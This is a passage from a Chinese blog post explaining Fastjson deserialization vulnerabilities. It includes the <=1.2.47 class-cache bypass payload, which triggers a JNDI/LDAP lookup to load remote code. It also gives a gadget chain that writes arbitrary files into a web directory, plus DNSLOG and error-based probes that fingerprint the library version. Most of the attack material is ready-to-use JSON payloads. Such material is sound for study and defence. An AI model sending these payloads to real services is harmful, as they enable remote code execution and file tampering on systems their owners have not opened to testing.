其实就是  mappings 多了我们的恶意类,那么内存里就会一直存着我们的这个恶意类。我们直接用第二次加载我们的恶意类直接打   就可以触发了!

思路:

{
    "a": {                              
        "@type": "java.lang.Class",           //放入内存
        "val": "com.sun.rowset.JdbcRowSetImpl"
    }, 
    "b": {
        "@type": "com.sun.rowset.JdbcRowSetImpl",   //触发payload弹计算器
        "dataSourceName": "ldap://127.0.0.1:8085/KkMSGAKU",  
        "autoCommit": true
    }
}

结束!

回顾一下刚刚的流程:

进入 DefaultJSONParser#parserObject()

  1. checkAutoType 方法 拿到Class.class
  2. 设置了 ResolveStatus ,决定了之后deserialze 的if 走向
  3. 进入 deserializer.deserialze

.

MiscCOdec#deserialze

  1. parser.resolveStatus为TypeNameRedirect,进入if为true走向
  2. 解析"val":"恶意类名",放入objVal,再传递到strVal
  3. 因为clazz=Class.class,进入TypeUtils.loadClass,传入strVal

.

com.alibaba.fastjson.util.TypeUtils#loadClass(java.lang.String, java.lang.ClassLoader)

  1. 添加默认cache为true,调用loadClass

.

  1. 三个改变mappings的第一处,由于classLoader=null,不进入
  2. 三个改变mappings的第二处,classLoader=null,进入;获取线程classLoader,由于cache为true,添加mappings。

嘶,审下来 头有点大,得回过头来 反复琢磨一下

[Java安全]—fastjson漏洞利用_第47张图片

实战payload

文件写入


  com.sleepycat
  je
  5.0.73



  com.esotericsoftware
  kryo
  4.0.0



  org.aspectj
  aspectjtools
  1.9.5
{
    "stream": {
        "@type": "java.lang.AutoCloseable",
        "@type": "org.eclipse.core.internal.localstore.SafeFileOutputStream",
        "targetPath": "D:/wamp64/www/hacked.txt", \\创建一个空文件
        "tempPath": "D:/wamp64/www/test.txt"\\创建一个有内容的文件
    },
    "writer": {
        "@type": "java.lang.AutoCloseable",
        "@type": "com.esotericsoftware.kryo.io.Output",
        "buffer": "cHduZWQ=", \\base64后的文件内容
        "outputStream": {
            "$ref": "$.stream"
        },
        "position": 5
    },
    "close": {
        "@type": "java.lang.AutoCloseable",
        "@type": "com.sleepycat.bind.serial.SerialOutput",
        "out": {
            "$ref": "$.writer"
        }
    }
}

漏洞检测

DNSLOG

{"@type":"java.net.InetAddress","val":"dnslog.cn"} 在49以下才能触发,因为这个gadget在49被禁止了,可用于检测具体版本
{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"dnslog"}}""}
{{"@type":"java.net.URL","val":"dnslog"}:"aaa"}
Set[{"@type":"java.net.URL","val":"dnslog"}]
Set[{"@type":"java.net.URL","val":"dnslog"}
{{"@type":"java.net.URL","val":"dnslog"}:0

报错检测

{"xxx":"aaa"
eyJhIjoiXHgaGiJ9的base64解码 在60以下才能触发,当后端 Fastjson 版本小于 1.2.60 时,使用该请求包不会延时不会报错,反之则会延迟或报错

参考:

fastjson反序列化漏洞3-<=1.2.47绕过_哔哩哔哩_bilibili   

JAVA反序列化—FastJson组件 - 先知社区 (aliyun.com)

浅析FastJSON反序列化漏洞(1.2.24——1.2.68) - 腾讯云开发者社区-腾讯云 (tencent.com)

这两篇是我比较推荐的  视频搭配文章 效果很好!

你可能感兴趣的:(JAVA安全,java,开发语言)